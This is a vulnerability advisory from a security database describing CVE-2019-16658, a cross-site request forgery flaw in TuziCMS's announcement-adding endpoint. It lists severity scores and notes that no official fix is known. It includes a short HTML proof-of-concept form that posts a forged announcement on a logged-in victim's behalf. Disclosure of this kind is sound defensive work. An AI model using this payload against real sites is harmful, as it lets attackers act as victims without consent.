Cross-site request forgery in TuziCMS - CVE-2019-16658

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Main Vulnerability Database Vulnerabilities #VU21265

Cross-site request forgery in TuziCMS - CVE-2019-16658

Published: September 23, 2019


Vulnerability identifier: #VU21265
CSH Severity: Low
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/U:Clear
CVE-ID: CVE-2019-16658
CWE-ID: CWE-352
Exploitation vector: Remote access
Exploit availability: No public exploit available
Vendor: TuziCMS
Affected software:
TuziCMS

Detailed vulnerability description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in the "index.php/manage/notice/do_add". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website, such as post announcements.

Example: 

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[host]/tuzicms-master/index.php/manage/notice/do_add" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="notice&#95;title" value="hacker" />
      <input type="hidden" name="notice&#95;url" value="http&#58;&#47;&#47;www&#46;hacker&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

How to mitigate CVE-2019-16658

Cybersecurity Help is currently unaware of any official solution to address this vulnerability.

Sources